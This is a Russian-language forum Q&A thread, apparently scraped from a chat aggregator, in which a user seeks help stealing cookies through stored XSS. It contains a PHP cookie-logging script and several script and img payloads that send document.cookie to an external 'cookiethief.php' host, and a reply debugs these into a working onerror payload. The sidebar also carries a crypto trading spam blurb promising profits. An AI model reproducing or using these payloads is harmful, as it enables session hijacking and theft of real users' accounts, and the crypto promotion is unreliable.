169 похожих чатов

Всем привет, тут какие-то приколы со stored xss. Собственно хочу

с помощью stored xss куки взять.

На сервере лежит файл со следующим содержимым:
<?php
$collectedCookie=$_GET['cookie'];
$file=fopen('stolen_cookie.txt','a');
fwrite($file,"COOKIE:$collectedCookie \n");
fclose($file);
?>

Сама stored xss выглядит вот так:
<script>window.location='https://0webhpp.com/cookiethief.php/?cookie='+document.cookie</script>

В таком случае все ок, куки получаю.

Но этот вариант не устраивает. Попробовал сделать вот так:

<script>document.location='https://0webhpp.com/cookiethief.php/?cookie='+document.cookie</script>

В таком случае куки не получаю.

Если делать вот так:

<img src="https://0webhpp.com/cookiethief.php?cookie='+document.cookie+'" />
То вообще получаю тупо строку document.cookie

Как сделать так, что бы хотя бы при document.location работало?

4 ответов

21 просмотр
Michael¡- Автор вопроса

Да, увидел, а как думаете, что стоит исправить в примере с document.location?

Michael¡
Да, увидел, а как думаете, что стоит исправить в п...

Поэтому нужно делать window.location. А пример с img src так вообще магия какая-то, не будет в html работать конкатенация. Надо делать что-то вроде <img src="x" onerror="this.src = 'https://0webhpp.com/cookiethief.php?cookie='+document.cookie" />

Если что - люди придумали xsshunter и тд

Похожие вопросы

Обсуждают сегодня

У меня это всегда вопрос вызывало.. Нафига писать код так, чтобы потом ошибки вылавливать?
Nik
44
всем привет. реально ли понять чем в процессе занята память? delphi/linux, процесс свой
Handatros
12
что за асемблер кста?
Shvabrikk Nya
19
Добрый день! Пробую отловить исключение EConvertError: function _TryTextToDouble(var DoubleVar: Extended; Text: String): Boolean; begin try DoubleVar := StrToFloat...
Kirill Filippenok
19
А где @Grinyaha уважаемый пропал?
Am Ambrion
14
This automated cryptocurrency trading system uses intelligent algorithms to buy low and sell high on leading crypto exchanges. Many users have already enjoyed significant prof...
Endu Wako
1
Добрый вечер. Есть вопрос, а может и предложение. Был у меня диалог в другой группе о делфи и я задался вопросом: "А нельзя ли в делфи цвет //коментария и {комментария} сде...
Kraszx
24
Сделал краткий обзор магазина из статьи и заодно там же записал инструкцию по развёртыванию. https://www.youtube.com/watch?v=8-sE1vNk95Q (чё думаете по звуку? кое-что поменял...
Andrey K
17
Привет, коллеги! Возникла задача ограничить максимальный размер вложений для определённых расширений, например, чтобы для изображений лимит был 10 МБ, а для видео — 100 МБ. Ог...
Andro
1
Мужики и девушки, привет) в Вelphi xe7 в настройках во вкладке "Editor Options" далее " Color" есть список: "Elements", открыв который мы можем настраивать отображение разных...
Kraszx
14
Карта сайта